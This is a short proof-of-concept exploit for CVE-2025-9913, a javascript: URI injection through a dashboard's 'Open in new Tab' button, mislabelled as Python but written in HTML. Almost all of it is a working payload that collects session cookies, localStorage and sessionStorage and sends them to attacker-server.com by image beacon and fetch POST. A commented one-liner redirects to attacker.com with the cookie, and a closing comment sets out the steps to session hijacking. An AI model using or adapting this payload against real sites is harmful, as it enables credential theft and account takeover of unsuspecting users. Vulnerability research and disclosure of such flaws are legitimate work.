The following code is for security research and authorized testing only.
python
<!-- CVE-2025-9913 PoC: JavaScript Injection via Dashboard "Open in new Tab" Button -->
<!-- This PoC demonstrates how javascript: URI can be injected through the dashboard's "Open in new Tab" functionality -->
<!-- Malicious link that exploits the vulnerability when clicked via "Open in new Tab" -->
<a href="javascript:void((function(){
// Steal session cookie and send to attacker server
var sessionData = document.cookie;
var img = new Image();
img.src = 'https://attacker-server.com/steal?data=' + encodeURIComponent(sessionData);
// Also steal localStorage/sessionStorage tokens
var localData = JSON.stringify({
localStorage: localStorage,
sessionStorage: sessionStorage,
cookies: document.cookie
});
// Exfiltrate via fetch
fetch('https://attacker-server.com/exfil', {
method: 'POST',
body: localData,
headers: {'Content-Type': 'application/json'}
});
})())">
Click to Open Dashboard
</a>
<!-- Alternative: Direct javascript: payload for address bar execution -->
<!-- javascript:void(document.location='https://attacker.com/steal?c='+document.cookie) -->
<!--
* Attack Flow:
* 1. Attacker with high privileges crafts malicious javascript: URI
* 2. Victim clicks "Open in new Tab" on dashboard
* 3. JavaScript executes in the context of the dashboard application
* 4. Session cookies/tokens are exfiltrated to attacker's server
* 5. Attacker uses stolen session to hijack victim's session
*/